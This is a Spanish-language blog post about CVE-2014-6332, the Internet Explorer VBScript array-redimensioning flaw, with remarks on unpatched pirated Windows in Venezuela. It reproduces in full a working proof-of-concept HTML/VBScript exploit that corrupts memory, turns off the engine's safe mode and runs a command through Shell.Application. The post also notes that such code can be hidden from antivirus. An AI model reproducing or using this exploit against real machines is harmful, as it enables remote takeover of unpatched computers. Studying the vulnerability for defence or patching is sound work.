Un Fallo de Seguridad, Deja a todos los Windows (hasta el Windows 11) Vulnerable a Control Remoto de los Atacantes. (Acá el código fuente del Virus (Exploit) para su estudio)

El problema es que este tipo de código, es que puede ser procesado por algunas de las técnicas para serlo indetectable a la mayoría de los antivirus y en un país como Venezuela donde la mayoría de las computadoras domésticas, corporativas además de las institucionales (por no decir todas), tienen sistemas operativos (Windows) que no tienen los parches de seguridad correspondientes por ser programas piratas (Quemaditos) y en los casos menos complejos el usuario no está pendiente de actualizarlo.

El esfuerzo de migración a sistemas basados en software libre no termina de cuajar en nuestro país por el hecho que NO SE APLICA CORRECTAMENTE.  El proceso de transición en los usuarios, el cual inicia el rechazo por parte del mismo y la posterior reinstalación de los sistemas piratas y amén de que nadie cumple las normativas para el uso de las computadoras asignadas en su trabajo o casa.

CVE-2014-6332

Si eres del mundo informático    presente que hace muy poco Micro$oft publicó un parche de seguridad para solucionar una vulnerabilidad presente en Internet Explorer 3.0, es decir hace 19 años, y que se ha ido heredando por todas las versiones posteriores de este navegador hasta que el 11 de noviembre de 2014 se publicó el boletín MS14-064 que la solucionaba.

Catalogada como CVE-2014-6332 tiene una puntuación de 9,3 sobre 10 en el CVSS (Common Vulnerability Scoring System), permite la ejecución de código remoto sin autorización del usuario y es incluso capaz de evadir el sandbox EPM (Enhanced Protected Mode) en IE11 y las protecciones de EMET.

El bug es causado por el incorrecto manejo del motor de VBScript del navegador al redimensionar arrays. VBScript.dll contiene un método de evaluación en tiempo de ejecución que mediante OleAut32.dll llama a la función SafeArrayRedim() para cambiar el tamaño del array. Sin embargo, si se produce un error, el tamaño no se resetea antes de regresar a la función de llamada, VBScript!CScriptRuntime::Run():

En VBScript, la explotación de este bug podría haberse evitado quitando el “On Error Resume Next” del código cuando la biblioteca OLEAUT32 devuelve un error. Como no es así es posible provocar un desbordamiento.
Además, ésto puede explotarse fácilmente gracias al denominado “Godmode”, un flag que permite al navegador ejecutar VBScript sin restricciones como si fuera un shell local por lo que no es necesario preparar un payload y protecciones como DEP, ASLR y CFI no son aplicables.

Pues bien, recientemente el investigador chino Yuange1975 (adivinar cuantos añitos tiene Xd) ha publicado una PoC que permite escribir fácilmente código VBScript para comprometer equipos no parcheados. A continuación véase el código para probarlo, si bien un buen antivirus/malware debería detectarlo:

 

 

————————————————————————————

 

//*
allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
https://twitter.com/yuange75
http://http://hi.baidu.com/yuange1975

*//

<!doctype html>
<html>
<meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE8″ >
<head>
</head>
<body>

<SCRIPT LANGUAGE=”VBScript”>

function runmumaa()
On Error Resume Next
set shell=createobject(“Shell.Application”)
shell.ShellExecute “notepad.exe”
end function

</script>

<SCRIPT LANGUAGE=”VBScript”>

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
On Error Resume Next
info=Navigator.UserAgent

if(instr(info,”Win64″)>0)   then
exit   function
end if

if (instr(info,”MSIE”)>0)   then
intVersion = CInt(Mid(info, InStr(info, “MSIE”) + 5, 2))
else
exit   function

end if

win9x=0

BeginInit()
If Create()=True Then
myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

if(intVersion<4) then
document.write(“<br> IE”)
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function

function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function

function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
‘   document.write(i)
Create=True
Exit For
End If
Next
end function

sub testaa()
end sub

function mydata()
On Error Resume Next
i=testaa
i=null
redim  Preserve aa(a2)

ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314

aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim  Preserve aa(a0)
end function

function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim  Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim  Preserve aa(a0)

j=0
j=readmemo(i+&h120+k)

Exit for
end if

next
ab(2)=1.69759663316747E-313
runmumaa()
end function

function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000

redim  Preserve aa(a0)
redim   ab(a0)

redim  Preserve aa(a2)

type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10

If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0)  Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim  Preserve aa(a0)
exit  function

end if
else
if(vartype(aa(a1-1))<>0)  Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if

If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If

redim  Preserve aa(a0)

end function

function ReadMemo(add)
On Error Resume Next
redim  Preserve aa(a2)

ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))

ab(0)=0

redim  Preserve aa(a0)
end function

</script>

</body>
</html>

 

Leave a Comment